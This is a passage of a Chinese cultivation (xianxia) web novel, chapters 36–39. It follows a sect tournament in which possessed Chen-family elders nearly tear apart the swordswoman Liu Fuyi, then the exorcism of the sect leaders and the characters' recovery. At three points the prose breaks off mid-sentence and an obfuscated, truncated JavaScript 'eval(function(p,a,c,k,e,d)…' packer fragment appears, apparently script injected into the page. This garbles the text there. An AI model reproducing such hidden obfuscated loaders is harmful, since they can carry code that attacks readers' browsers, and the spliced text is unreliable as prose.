顾元香抱头鼠窜躲避四面八方呼啸而来的剑气,只敢趴在一处边缘顽石之后小心观望战局。 五人毕竟年过数百岁,如今一朝回春,体力灵力甚至实战的经验都要胜于柳伏意。肉眼可见的,柳伏意的体力被迅速地消耗,她喘气的幅度越来越大,半柱香过后竟是连举剑的手都有轻微的颤动。 顾元香凛着眸子紧盯六人的身影,紧张的早就把腰间的锦囊捏的变了形状。 柳伏意落入下风,顾元香紧着回头看了一眼玄光笼的情况。她师祖齐冷玉正在尝试从那“狗洞”里钻出来,却是结结实实地被卡住肩膀,只能又不甘心地退了回去。 齐冷玉身后沈听寒和庆钰的脸色都越来越差,一个元神被压制吐血不止,一个靠肉身作媒介,运转着各门各派弟子们的灵力入阵,已经接近极限。凌霄殿前那片空地上,弟子们约有百数,却没一人能腾出手来帮忙。 玄光笼被丝丝抽茧,陈怀春阴着脸的同时,元神上漫出的黑气呼之欲出,刹那间金光闪烁的牢笼就被四面八方的魔气绕尽。 笼中宛如黑夜,只有那拳头大的洞中透出一丝外面的光亮。 阮长风终于明白修界的各位前辈为何齐聚凌霄殿半步不出了,他们根本就不是为了天命来的。 魔气显化的那一瞬间,始终处于观望姿态的各派掌门也再不废话,张雪蚕、乔宁、荣锦绣、梅昭和宫屿齐齐列阵,以宫屿为阵眼联手镇魔。阵起的瞬间,张雪蚕反手将人脸鹦鹉丢给齐冷玉,凌然道:“它体格小,可以钻出去帮你们打探比武台上的情况。” 顾元香一看玄光笼的情形便能轻而易举推算出陈怀春入魔了,她很快意识到不对。如果陈怀春都难逃入魔的命运,非要在宗门大比的时候爆发,那这帮陈家的长老到底是单纯奉命还是……? 她立刻转头再去看比武台上,两条秀眉倏然拧住。她想都来不及想,眼前的景象好像突然被撕裂,猩红的血丝缠上她整个眼球。 目眦欲裂,声嘶力竭。 “师姐!!小心背后!!” 一把银亮亮的匕首猛然从背后送进柳伏意心窝,强烈的痛感瞬息间席卷她全身。那把匕首抽出时并不干脆,在伤口中狠狠地旋了几度,痛的她连抽气都困难。血液如水从伤口中迸发,从上至下好似飞瀑。 柳伏意这才惊觉回春派这六位长老之间是何等的默契,其余五人的进攻或撤退始终在将她往陈大的方向逼。 顾元香顾不得什么生命危险,莽头冲出去一脚将陈大踹开,拔出贪生剑来没有丝毫犹豫,下手狠厉稳稳扎穿他脖颈。 一石激起千层浪,陈大的血喷了她半身。四面而来的血腥气夺走她所有的理智,顾元香猛刺陈大数刀,直到她确定那具身体再没有一点点挣扎和呼吸……她目光空洞,定格在脚边那具血肉模糊的尸体上,感觉自己这些天像是做了一场无休无止的噩梦,而她最害怕的就是沉湘琴的画面成真。 贪生剑被她掉在地上,她颤抖着回头看去,柳伏意撑着身子挡在她面前,碧蓝的裙裾正默默地滴着血。 她心底有什么东西被触动。 血滴汇聚成一条蜿蜒的血路,柳伏意脚步虚浮,终是脱力,跌跪在陈家五人身前。 垂头铩羽,一败涂地。 顾元香心里不是滋味紧握着拳,她上前欲拉起柳伏意,被陈三扬手一道灵锁牢牢地捆缚在身后的顽石上。 “别杀她!!你要无诤印你去拿啊,关她什么事!你们大哥也是我杀的,要报仇也冲我来啊!” 五人步步朝柳伏意逼近,顾元香眼眶几乎充血。他们却没有一个人向柳伏意出剑,她略微松下一口气,更残忍的折磨就悄然而至。 陈家五人放出元神,五道百年修为的元神化为长绳枷锁,缠缚上柳伏意的脖颈和四肢。 ……五马分尸。 甚至此招更为阴损,以元神为力量之源,恨不得碾碎柳伏意的三魂七魄,叫她死不超生难入轮回。 “贱人!!”顾元香怒吼出声,骇然一个耳光就甩在她脸上。 * 柳伏意忍着剧痛一声不吭,舍不得再浪费自己一丝一毫的力气。她紧咬着牙关尽力收紧身体,试图让五道元神的撕扯感减弱一些。双臂越是用力收紧,背部的刀口就越是皮开肉绽鲜血淋漓。 无论她反抗与否,疼痛都如影随形挥之不去。 天命此刻就站在她身边看着她,不知为何祂像受了极大的打击,眼神颤动写满不可置信,连靠近她半步都略显凌乱。 天命跪在她身边,看她疼得青筋暴起,以剑为媒,调用灵力为她护身。温润的白光缠住五道元神,最大程度地帮她分担着几面的拉力。 “我可以为你死。” 祂喃喃几句,并无半点退缩之意,反而像期待已久,话里话外藏不住的欢欣雀跃。 “?” 柳伏意来不及细究祂话里的深意,卯足了最后一点力气扯住自己脖子上愈加收紧的元神锁,怒吼道:“走!!他们还不全都是为了你,走啊!!” 天命不为所动,她被勒出眼泪,泪水成行落进鬓发。 陈家五人饶有兴致地欣赏她脸上狼狈又凄惨的表情,左右笑着,默然加了力。 天命这种神剑,怕是认定了一任剑主,生生世世就都要守着她。 既然如此,那当然是把柳伏意的三魂七魄一起碾碎来的实在。任凭祂再怎么愿意等,也终究是等不到一缕残魄。 透过人脸鹦鹉的眼睛,齐冷玉等人都能看见玄光笼外晴天白日转瞬间暗如黑夜,灰云卷过血月凌空与日争辉。偌大的血色长河分割日月,仿佛是苍天被人开膛破肚。 齐冷玉掐指一算,道:“时辰错转,草木逆生,北斗死光……这景象在奇经录里记载过。” 是天命剑主即将身陨的预兆。 她望着比武台面色凝重,“她要不行了。” 话音刚落,沈听寒分神,被陈怀春的元神猛地一撞喷出一口血来。 “沈听寒!别分神!”庆钰掐了他一把迫使他专心,眼看着那洞就够人钻出去,他们绝不能在这个关头功亏一篑。 阮长风顾不得其他,拔腿闯进凌霄殿里,笔直地掠过近五派的掌门,对准陈怀春就骑上去狠狠掐住了他的脖子。 “你要害死多少人才肯罢休!”张雪蚕距离陈怀春最近,竟是出手一掌将阮长风打飞。 他撞在凌霄殿的红柱上,牙缝中渗出血意,却比从前惜命的这几十年都要畅快许多。 梅昭出手一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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玄易在沈听寒旁边坐下,特地留了个空位给他。他凝眸望着头顶那片撕裂的长空血云,怒骂道:“爷爷的,就你有元神是不是?!” 他不由分说将自己的元神放出来强行入阵,与沈听寒呈夹击之势逼退陈怀春,一时之间庆钰和沈听寒的脸色都有所缓和。 阮长风低眉一笑,他自从道碎流浪人间的那刻起,毫无疑问惜命不已。以至于他并不算年老,却也少了几分少年人的意气。 没了软肋也没有大道,便没有了为之愿意付出生命的理由,这世间和他仿佛毫无关联。他是死是活,都无人关心,也都毫无价值。 但今天或许不一样。 他同样放出自己的元神,咧嘴一笑开朗如昨:“就是!说好一起走的,谁也不能出事!” 陈怀春的元神被三面夹击,元神虚弱的同时魔气便不断放大,时刻攻击他的意志。 一切的一切以当年锁妖塔之祸为开端,陈望轩一念之差害死灵剑派数千人,林秋池虽杀他泄愤,却也害得如履薄冰修习百年的无情道毁于一旦。 因果循环,实在辩无可辩。 他明明对此心知肚明,也谈不上如何怨憎,竟连自己什么时候入魔的都毫无察觉。 “快废了我的修为!!”陈怀春脑中善恶互搏,银针封魔使他在痛苦之余能够保留些许理智。 只要废了他的修为,至少魔气困在他体内不会有能力暴起伤人。 他瞥见人脸鹦鹉传回的景象,打定主意十有八九陈家其余六人也全部入了魔。若是他一人心思不稳被魔气有机可乘还好说,可那六位属实没遇到过什么坎儿,绝对是受人暗算。 陈怀春咬牙忍痛,朝着众人直挺挺地跪了下来。 “此间事了,诚请诸位必去回春派细查,门内世家定然有鬼!” 36. 宗门大比(十六) 比武台上贪生怕死秉承着元香的意志直冲五人身体而去,一时之间为了规避那两把疯剑,五人不得不分神四处挪位。 陈二挪身至元香面前,一脚直踹她心窝。二人面对面未及斗法,怕死就猛力从背后袭来,哪怕伤了与陈二咫尺距离的顾元香也硬要把他捅个对穿。 “又是贪生怕死这两把疯剑!!”陈三阴沉着脸,眼看着两把泛着红光的剑越是汲取血气就越兴奋。 贪生怕死在世俗眼中或可称为魔剑,怎么都不该被收在灵剑派的剑阁里。更不可思议的,这两把剑还选了个名不见经传的小丫头做剑主。 若不是修为能顶天立地,就是这个丫头的脾性和贪生怕死如出一辙。 ——十足的疯子! 然而他们一旦抽出手来应对顾元香和贪生怕死,落在柳伏意身上的桎梏便又少了。 柳伏意浑身骨血仿佛都碎了,想说话先呕出一大口血来。她眼睁睁看着陈二对顾元香步步紧逼,招招致命,很快顾元香就被他一个扫腿踹倒在地。 “慢着。”她说话轻飘飘的,但偏偏没人能忽视她。 元神做的锁链不仅拉扯着柳伏意,同样禁锢绳稍末端的陈家五人。 柳伏意像是回光返照,她生生将一口白牙咬出血,狠命一拽,将右手收了回来。陈二打量着柳伏意距离神魂俱灭也就是触手可及,因而略有放松,却不想被她活活拽倒在地。 他心道不好,未及起身,贪生怕死便两剑袭来贯穿他心腹。汲取陈二的血气后两剑威力更胜,耀武扬威似的飞扬在比武台上方,静待时机专伺偷袭。 陈三陈四见此怒不可遏,更加不会轻敌,索性几人齐出先去制服顾元香和两把魔剑。 陈三掐着顾元香的脖子毫不犹豫地收紧,贪生怕死飞剑而来又被陈四陈五合力制住。 顾元香感觉浑身紧缚都在一瞬间缩到极致,她脖颈处胀得难受,眼球也因为即将窒息而混沌。 她将要失去意识之前,看见柳伏意踉跄着站起身来。 柳伏意发丝凌乱,七窍流血,站都站不直。惨的和平日里超然物外、不染纤尘的清律长老活像是两个人。 唯独那双眼睛,凌厉,坚定,无悲亦无喜。 她弯腰拿起天命剑,动作略显木讷,话音沉沉:“你们要杀她,我就毁了天命剑。” 陈三的力道猛然中止,顾元香劫后余生似的,大口呼吸几次,脸色从青紫逐渐恢复如常。 柳伏意回头看见玄光笼内的情况,一时半刻的还指望不上他们来救命。 而如今她所有的筹码……也就是天命。 柳伏意垂眸看了一眼身上若隐若现的四道元神锁,冷嗤一声道:“没有我,天命剑不过是一堆废铁。” 她坐在地上勾唇一笑,罔顾陈家几人恼恨的眼刀,身上的痛已经习惯,再更改不了她一丝表情,越是千钧一发,她就越是坦然自若。 “要试试吗?” 柳伏意眉眼淡薄,周身萦绕着一股与生俱来的压制力。 陈三呲牙冷笑,索性拔剑横在顾元香脖颈间,饶有兴致地看柳伏意如何胡说八道。 “你若真有让天命为你殉死的本事,怎么方才离死半步都不肯为自己支撑?我今日就是要杀她祭剑你又能怎样!?” 比起陈三字里行间的凶狠阴毒,柳伏意再开口也是淡淡的。 “毁剑吧。” 她蹙着眉,略有不舍。但放在天命眼里,似乎已然满足。 几人目不转睛,只见柳伏意话音刚落,天命剑便自主悬于她身前。洁白神性的灵力四散而去,威力巨大好似呼面狂刀,将陈家几人撞倒在地头痛欲裂。 这正气浩然的剑风和柳伏意持剑时又不一样,极盛的纯阳灵力之下不容任何阴戾之气。 而莹莹白光围绕着这位七损八伤的天命剑主时,又如和风细雨,温润化解她的伤痛。 陈三四五六瞠目,剑修一道上,向来都是剑主死后灵剑至多自主封剑,再等待个千百余年,等到下一位有缘人重启封印。 从古至今都是剑主为剑而死,绝不会有灵剑,更遑论是天命,为主殉死。 这也就说明了,柳伏意是天命甚至于是天道选中的唯一一人,毫无商量的余地。 这是明目张胆的,上天的偏爱。 “不行!不要毁剑!!”陈三被天命剑气直冲脑门,伤的最重,却也是神思尤为清明的一个。 许多天他都浑浑噩噩,像是进入了一场幻境,许多事许多人都不真实,所做的事都没有道理。单单此刻,他终于像是寻回了本我。 陈三恍然间便发觉自己闯了大祸,连忙喝止了柳伏意的动作,呛了几口血连滚带爬地来到她面前,源源不断地将灵力散给她疗伤。 感觉到回春派万物逢春般温暖舒适的灵力入体,柳伏意才浅浅睁了睁眼。 她怔愣片刻,天命便无光地摔在她盘曲的腿上,剑身上横亘着两道冗长又弯折的伤疤。 陈三转手收回顾元香身上的灵力禁锢,竟是格外有礼地向她们二人致歉。 柳伏意和顾元香都有些摸不着头脑,但比起陈三为何突然转了性,元香还是更在意柳伏意的身体。 她连忙又从锦囊中翻出一颗白露丹来塞给柳伏意,蹲在她身边催促道:“快吃快吃!” 柳伏意照做,她又递过来一颗补足元神气血的九转灵芝大补丹:“这个也吃!” “……” 有陈三的灵力和几颗稀世罕见的灵药滋补,柳伏意是生生从鬼门关被人拉回来一条命。 方才硬使力气透支的血气都在身体稳定后在喉头翻滚几遭,终于从口中冲出来。 “咋还吐血啊!!”顾元香仰天长啸叫苦不迭,她暗恨为什么沈听寒没能参加宗门大比。既然玄易和她一队都能过,沈听寒应当更轻松才是。 陈三擦净了唇角处的血,用灵力将几位倒地不起的弟弟全都捆住。他复而给柳伏意搭脉,沉声道:“我们虽是一夜回春上台打擂,但此事在我们脑中并无印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“天命剑主必死不可!”陈四提剑直刺过来,陈三转眼一扫玄光笼内的场景,连忙抽剑挑开陈四的剑锋,把柳伏意推向顾元香:“带她下去!压不住魔就让天命连人带魔一起斩!” 陈五欲飞身追去,被陈三薅着脖领子从比武台边硬生生拉了回来摔在地上。 陈三深吸一口气,双眸攀上血厉。他们陈家的绝学从来就不是众人皆知的六合剑阵,而是只有他们六兄弟才练过的巽风无相。 陈家人花费数百年才习得的独门剑招,一招一式如风过境,无相无形无孔不入。迅捷难测,杀人于微末。 他们终其一生都没有遇到非巽风无相不可解的困境。 陈三哑然,泪意湮没在他毕生所学的大道之中。 他举剑对准陈四五六,三花撩剑如寒梅绽雪,剑身急转直绞面前刺来的三把长剑,硬生生将四五六的节奏打乱。四剑相缠,金鸣刺耳。陈三收剑藏锋于手肘后,手腕一振迅疾剑气如毒蛇吐信一般直刺贯穿陈四咽喉。 于此同时陈三顺势旋身,左掌猛推陈五持剑的手腕,“喀喇”骨裂声清晰可闻。未待陈五倒地,陈三的剑已然悬在他颈上一剑封喉。 陈六见此惊惶格挡,陈三一个利落的滑步荡开锋芒,拧腕回刺,剑尖毒辣盲冲,剑身进而横推如浪。 陈六手中的剑被打飞,门户洞开的刹那,陈三一剑突进,银刃当胸穿过,血花迸溅…… 37. 宗门大比(十七) 顾元香伤得不算重,而柳伏意哪怕是吃了那么多补药,一时半刻身体也是极度虚亏的状态。 生命危险散去,她几乎脱力,根本无法站直身子。陈三将她二人丢下去,还是顾元香在底下垫了一下,柳伏意才没有摔断骨头。 “师姐,没摔到吧?”顾元香连忙将她扶着坐起来,一扭头又看见那只蹦蹦跳跳的人脸鹦鹉,一把捧起来举高高,“里头情况怎么样?需要帮忙吗?” 她的声音透过鹦鹉转播别提多大了,整个玄光笼内都回荡着余音。 阮长风牙口之间渗出血来,他迅速左右扭头扫了一眼,玄易和他差不多,眉头死死皱着像一座山峦。 他们俩尚且身子骨精壮都只能支撑一柱香,这个体质不好从小体弱多病的沈听寒,是怎么能熬这么久的? 阮长风打量着沈听寒的脸色,他吐了满身的血,玉色锦袍看不出样子。但比起他们二人来,表情舒缓又平静,似乎元神上的痛感对他来说不足为惧。 “人都没事了,还忙活着开洞干什么,有命没处花啊?!”庆钰低吼一声,三人紧接着收了元神。 庆钰运转气力收了手,身后百余人都被他身上震撼的余波触及东倒西歪,摔得满地都是。 沈听寒收势过后便起身前去给玄易阮长风庆钰搭脉,一人手里塞了颗丹药,随即默默起身去到凌霄殿内。 淡定的像没事人一样。 俩人吞了药,看着他步步稳健的背影哑口无声。 阮长风:“早说你一个人就顶得住,我还凑什么热闹。痛死我了。” 玄易:“真爱无敌,可惜我出家太早。” 衡阳收了灵力后,目光落在那个不算大的洞上。他抿了抿唇,狐疑地对了一眼齐冷玉的眼神。 齐冷玉点点头,唇边藏不住几分笑意,二话不说就转头往林秋池身边去协助伏魔,而衡阳则是憋了些火气,阴着眉眼,众目睽睽之下从那“狗洞”里钻了出去。 丢死人了。 他咬牙切齿回头瞪了一眼林秋池的方向,念念有词道:“不会养就把孩子还给我啊!整的要死不活的还不是亲师父来买单!” 他钻洞骂人一气呵成,皱着张小脸来到顾元香面前时,元香都有点状况之外。 衡阳当时在寄雪堂为难他们这些弟子的时候,可是半点好脸色都不给的,一看就是个极难说话的主。 元香顺着衡阳的目光扭头往背后看去,比武台上一片阴翳。陈三一连杀了自己三个弟弟,再没有脸面苟活于世。 他跪立在弟弟的尸体之前,一剑穿胸,是为赎罪。剑光将一代长老垂首落败的姿态尽显无遗,陈家宗师几乎满门灭尽。 又应了齐冷玉的那句话,此次宗门大比关乎一个门派的生死。 从此回春派的声量便要急转直下了。 柳伏意注意到二人眼神的变化,她正要抬头,却被顾元香上前一步挡了个严严实实。 “师姐,你伤太重了,不如先回去修养吧。”她抬头对衡阳暗示一眼,衡阳紧接着便一道法阵将比武台上一片惨象隐藏起来。 他一把按住柳伏意要抬起来的手,宽慰道:“你以为几颗丹药就能把命捡回来吗!赶紧跟师父回寄雪堂!” 眼看柳伏意默不作声毫无动作,熟悉她的二人自然明白她心底在担心些什么。衡阳扭头往笼内看一眼,没好气道:“全修界的大能都在这儿了,要你一个小娃娃操什么心?要真没了天命剑就不能诛魔,这垃圾修界趁早完蛋!” 顾元香听出衡阳的意思,看着衡阳着半人高的小身板也不像能背起人的样子。她半弯着腰,一转剑袋将两把剑转到胸前。衡阳顺势把柳伏意推到她背上,顾元香哪管三七二十一,背起柳伏意就追着衡阳往寄雪堂的方向跑。 凌霄殿内各位掌门长老几乎竭尽全力,魔障被一点点地剥离。林秋池和陈怀春的意志越发清醒,甚至两人知道自己做了什么之后都是满面的悔恨。 李广白银针将要耗尽,慧静终于将除魔的梵文念诵完毕。 莹莹的法阵倏尔间停止,众位修士都气喘吁吁,各自扶着太师椅坐下休憩。 慧静双手合十,佛光满面。 他先望向林秋池,林秋池有许多话难以宣之于口,顶着慧静慈悲的审视,他不由把头垂了下去。 让林秋池打定主意认错的,是沈听寒伸过来的,鲜血淋漓、筋脉突出的一只手。 他轻咳几声,呛出喉间几口血丝。 林秋池暗暗叹气,他瞟了陈怀春一眼。这老头子比他惨多了,一身修为被废,元神受损,似乎连开口说话都成了奢望。 “是我林秋池对不住各位,对不住回春派。”他起身,郑重地福身行礼。 慧静寻了一张空椅坐下,静静道:“林掌门心中有执已然多年,既有如此契机,何不明言。” 林秋池嗤笑半声,略显老态的一张脸就皱的像泡过水的烂纸。 他向来是个高傲又自负的人,哪怕当年被无数人指责,都不肯低头为自己辩解半句。 偏偏是如今年岁大了,折腾一番发现自己连本心都丢了,还有什么资格谈傲气。 “皆因我一念之差,才将事情闹到这个程度……”他毫不掩饰眉间的懊悔,看向陈怀春,两行浊泪顺流而下,“都因为我不甘心。我可以忍受我师父的责骂,可以忍受无情道千百年如一日的索然无味,我的存在就是为了修道!就是为了匡扶天理!” 他深吸一口气,花白的胡须因为不甘使劲地震颤。他直白地将这些年的心里话说出口,少了许多无形的压力,唇角才终于有向上走的趋势。 “都因为当年一时冲动,杀了陈怀春的儿子,拿他的人头来祭我灵剑派满门的冤魂。” 他将自己外露的情绪收住,恢复成从前饮冰琢玉的姿态来。 “现在想想,那蠢货就算锁妖塔一事不是他故意所为,迟早也会有违背天理的那一天。到时候,我本可以名正言顺地杀他。”林秋池话里话外没有半分人情,他扫过堂下坐着的各位道友,说,“我修无情道有上百年,大名鼎鼎悖逆人伦的弑亲案就是出自我手。无论当年修界众人如何指摘,我都能强压着情绪不去寻仇,对你们的怨毒不置一词。” 他吸了吸鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李广白拂去额前大颗滑落的汗珠,最后一针刺下,将陈怀春的意识从朦胧之中硬拉回来。 他不比林秋池有当真入魔的契机和缘由,反而冷静下来之后更觉得此事蹊跷无比。 玄光笼在他醒后不攻自破,人脸鹦鹉一头扎进比武台结界之中。 云层阴翳之下,满地干涸的血渍,跪立而死的师弟,都不断刺激着陈怀春的肺腑。 李广白连忙拧了一把张雪蚕的胳膊:“我好不容易把人救回来,你别把他气死了!” 张雪蚕虚喘着气还没缓过来,没心思和李广白斗嘴,索性打了个响指将人脸鹦鹉和他的联系切断了。 陈怀春叹了口气,道:“回春派内部想必是出了些什么问题。且不说我对当年灵剑派的惨案心中有愧,不会袒护至亲,再者我陈家六位长老心如明镜,从未有过道心不安,绝无可能同时沾染魔气。” 他诚心实意地向各位作揖,说道:“我这副残躯,无法处理门内魔种。只有麻烦诸位有空再走一趟了。” 齐冷玉点点头,林秋池紧着将掌门令递给了她。 “观月,我道心不稳危害修界,已经不适合执掌掌门令了。从今日起我会闭关赎罪,这掌门之位就由你暂代吧。” 38. 相依相偎 寄雪堂外大雪纷飞,只消半刻便能将人头发染白。 柳伏意望着屋外纷纷扬扬的大雪,身边寂然无声,雪意厚重,压弯青松枝杈。 积雪借由日光,从糊了明纸的红木窗中透出来,屋内没有燃灯,却仍然是明亮的。 她已经睡了三日,身上多处伤口结好了痂,在灵药的滋补下生长出新的皮肉,疤痕正暗暗发痒。 柳伏意抬手去摸天命剑,剑身上蜿蜒的两处裂口好像散尽了这把剑的灵气。她尝试呼唤几句,识海中仍然风平浪静,天高云淡。 就像祂从来不曾出现过。 柳伏意长叹一口气,牵动她五脏六腑的内伤,不由痛得皱起了眉,眼眶中不受控制地泛出些泪水来。 “师姐,你醒了吗?”顾元香将今日的丹药放在她门口,抬手轻轻在门扉上叩了叩。 她当然听见了柳伏意那声叹息,明澈圆润的眸子因为师姐的悲痛而垂下。 “师姐,醒了就不要一直躺着了吧。沈听寒伤的也很重,或许你可以去看看他。”顾元香说罢,转身同阮长风玄易对上一眼,摇了摇头,三人并肩从雪中离去。 “你确定这么说伏意就会出门了吗?天命毁剑给她的打击不小啊。”玄易与阮长风道。 阮长风不加多言,轻车熟路地带着他们往沈听寒的禅房外一蹲。 他“哎”一声,掰出手指来一一细数:“哪件事是小事啊?其一师父差点入魔闭关了,其二天命毁剑了,其三亲近的人多少都受了伤元气大亏啊!” 顾元香将俩人冒在外头的脑袋按下去:“其四把她害到如此地步的还是她最亲近的同门。” 阮长风一阵鸦雀无声,心想这只能是个意外。没有人想到回春之术不用无诤印也能够施展,只算岔了这一点,就让局势发生了难以控制的大逆转。 这倒是讲明了一个道理,人算终究不如天算。 他们还在一旁悉悉索索地掰扯,玄易一动耳朵听见踏雪而来的脚步声,左右伸手捏住了阮长风和顾元香的嘴。 二人一时竟也顾不上别的,老老实实地往下一蹲,借着禅房前高大的草木遮住了他们的身影。 柳伏意披了件蓝黑色的墨狐氅,轻轻叩了门。沈听寒似乎还睡着,屋内没有半分回应。 她长睫轻垂,不等再敲,推门而入。 阮长风见身边二人的表情略有不解,说道:“他们从小一起长大,感情很好的。” 顾元香白他一眼,顺手给了玄易一拳解放了自己的嘴唇。 屋内沈听寒仍然睡着,烛火即将燃尽,淌下的蜡油凝固成一座小山。柳伏意凭借记忆,从他榻前的一处抽屉里翻出红烛来。 她吹熄烛火,将新的烛灯换上,内室也比方才要明亮一些。 沈听寒呼吸均匀又绵长,他房中一年四季都熏着药香,将他每根发丝都几乎浸入了味儿。 柳伏意没有出声叫他,静静侧坐在他榻前的木阶上。她撑着下巴满怀心事,看着他熟睡的侧脸,这些天所有的委屈一拥而上,伴着衣袍上沾染的寒意一起涌进她眼眶里。 她一语不发,垂头伏在沈听寒肩上。 察觉到肩上的重量,沈听寒睡意涣散,但他哪怕不睁眼都知道是谁来了。 从前儿时,师妹因为各种理由挨训,就这样眼泪汪汪地来找他求安慰。即使他在睡午觉,她也大咧咧的不管不顾,闯进来就是一顿哭诉。 这种情况,长大后就极少发生了。她入无情道后,再难受也只能去拥雪崖痛哭一顿。 她既然来寻他,想必心里是难受到了极点。 沈听寒略微侧身,让她能靠的更加舒服,左手顺其自然地托住她的胳膊,另一手有一下没一下地,轻轻拍着她的后背。 他肩上传来两点热意,让他浑身不由一僵,她的眼泪将他腹稿中故作轻松的几句安慰全部浇熄。他知道现在不是开口的时机,索性一言不发,缓慢又耐心地轻拍着她的背,等待时间一点一滴流逝。 他心里很清楚,柳伏意不需要人正儿八经地安慰她,甚至也不希望有人能感同身受她的痛苦。 她只需要自己脆弱的时候,有个人可以给予她细水长流的陪伴。 沈听寒眉眼淡淡垂着,清俊的五官中自然而然地揉入无限的柔情,他只敢在柳伏意看不见他的时候流露出这样直白的神色来。 他低头看去,伏意身上套着一件纯白的裙衫,是寄雪堂一惯的风格,纯白无暇,皎皎如月。外面罩着那件精致温然的蓝黑色的大氅还是衡阳早年间游历天下得来的,保暖和挡风都是一流,平时在清虚峰根本用不上。 只有伤病太过的人,才熬不住寄雪堂十年如一日的风雪。 她两只手腕上缠着厚厚的纱布,那隐约透出的草药味,让沈听寒能够猜出纱布下那块皮肉的惨状。 五马分尸,一定很疼。 柳伏意的皮肤本就雪白,血色褪去之后,他能轻而易举地看见她手背上青紫色的血脉。 沈听寒鼻间一酸,晶莹滚烫的泪珠就从眼睛里掉出来。他默不作声强忍着翻涌的各种情绪,从榻上坐起,略弯下腰将柳伏意揽进怀抱里。 他一下下地抚摩她的长发,语调克制,透着微不可查的酸涩。 “哭吧,我不走。” 她呜咽,哭声湮没在温暖的怀抱里。 而她耳畔,是沈听寒平稳渐快的心跳声。 “我陪着你。” …… 屋外三位见了,不约而同背过身去,自觉不该偷窥,面面相觑过后一阵尴尬,又披风裹雪的离开了。 顾元香来时还是昂扬的,离开时那双圆润乌黑的眼里已经找不到一丝一毫的笑意。 阮长风一眼便能看透她,玄易半途回了清净峰处理杂事,而他始终不置一言跟在顾元香身后,那眼神他太熟悉了。 无力、后悔,和决心。 直到快要走出清虚峰,顾元香满心都不平静,根本没注意到在她身后亦步亦趋的阮长风。 还是他攥起一个雪球砸了她一下,她才慢悠悠地转过身来。 顾元香秀眉微蹙,略有不解:“你有病啊,砸我干嘛?” 阮长风上前一步和她并肩,明知她心情不好,故意调笑道:“我要是个登徒子,就这一路上够我迷晕你三回的。自个儿走路也不知道当心点?” 她翻了个白眼不搭理他,继续自顾自地往清月峰藏经阁去。 阮长风喟叹,当师兄的果然不容易啊,各有各的师妹要哄。 他一手拦住顾元香的前路,吊儿郎当地叉着腰在她面前晃了晃:“其实我心里挺难受的,你能不能陪我喝喝酒,聊聊人生?” 他们还没出清虚峰,阮长风才不管顾元香答不答应,他拽着她的袖子就自顾自地带她光临了药师堂。 这几日衡阳大概差人帮忙打理了一下,药师堂已经不是前两天血 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顾元香脸上的笑意僵住,她敏锐地意识到阮长风不是来和她开玩笑的。 似乎真的应他所说,心中烦闷,找人喝酒。 “不过我碎道和玄易不一样,他是被逼无奈,我是明知故犯。”他又吞下几口酒,眼中前所未有的明澈,“前几天那样的场景,我也很不甘心。” “如果是从前的我,一定不会只能眼睁睁看着他们以命做赌,傻里傻气地站在旁边什么都做不了。”他转而看向顾元香考究的眼神,缓缓笑了,“你也是这么想的。” “我甚至在恨当年那个我自己,为什么要为了……”他像咬了舌头,陡然收住那个将要脱口而出的姓名,又用“那个人”代替。 “为什么要为了那个人,明知不可为而为之,心甘情愿地毁了我自己。” 顾元香一噎,她眼中似乎重又浮现柳伏意被五马分尸的情形。 哪怕如今危机已过,她也后怕的一连三日没有睡好觉。 她被捆在石头上动弹不得时,脑中最强烈最凶狠的一个念头便是恨自己放弃了蛊术。 分明是西域首屈一指的蛊毒师,非要一把火烧光了自己所有的蛊虫,掩耳盗铃一般逃来灵剑派。 顾元香始终不服气,她为什么总在逃,罪魁祸首不是她,为什么偏偏是她担惊受怕,以至于到现在连基本的护身本事都没有。 “如果给你机会重来,你会明哲保身吗?” 顾元香打量着阮长风的神色,他没有干脆地回答,哪怕思索半晌,他也说不出“会”这一个简简单单的字节。 “你再难重聚道心的痛点,就在这里对吧。” 因为用情至深,爱也不是,恨也不是,干脆将自己的处世之道都打得碎无可碎。 阮长风惊觉自己说多了,似乎在她面前被扒光了一览无遗,只能装作云淡风轻地笑了一下。 “没所谓了吧。沈听寒是个很好的医修,他大概有一天可以治好我。”他一伸懒腰,酒气肆意弥漫。 “到时候我再好好保护他们喽。” 阮长风总感觉有什么不对,岔开话题道:“喂,我是来安慰你的,咱俩算是同病相怜。” 顾元香提了提眉梢,吞了几口酒回味片刻:“应该不算吧,毕竟我比你还有用一些。” “滚你个蛋。” 39. 剑灵生心 柳伏意的情绪稳定下来,她顺着沈听寒的目光重新去看那把剑,捕捉到他眉眼间的几分深沉。 “怎么了?”她问。 沈听寒清浅一笑,侧目问道:“不知你可否把天命借与我看看?说不定,我能找到方法修补好那两道缺口。” 闻言,柳伏意双眼放光似的,罕见地极为嘴甜地夸了他几句。某人接过剑来心花怒放,紧接着便看见禅房外头,衡阳已经站了有一会儿了。 大约是听见伏意字字句句的难熬,他才一直撑着没走进来。 衡阳无疑是很疼爱这个徒弟的,那张圆润稚嫩的脸上染上不属于他身体年龄的沧桑和惋惜。他背着手,二人交谈完毕后才慢慢踱步进了屋中。 衡阳满头落雪,须发皆白。 他温然对伏意软了语调,见她裹着厚重的大氅,眉头不由皱的更紧:“宗门大比结束了,很多事情观月都会处理好。但是有一件事,非得你亲力亲为。” 话音甫落,几人的面色都是慢慢沉下来,那么一丁点儿的喜悦很快消尽。 “回春派本来三大世家互相制衡,如今陈怀春修为尽失离死不远,陈家六位长老全部殉道,陈家早已不复从前之势。” 衡阳回身把门阖上,屋内被火炉中愈加强盛的灵火烘得更加燥热,他们的脸色却又白了几分。 “陈怀春曾言,回春派内部必然有问题。若是拖沓的时日一长,陈家彻底没有制衡之力,怕是再难于回春派中寻找到真相。” 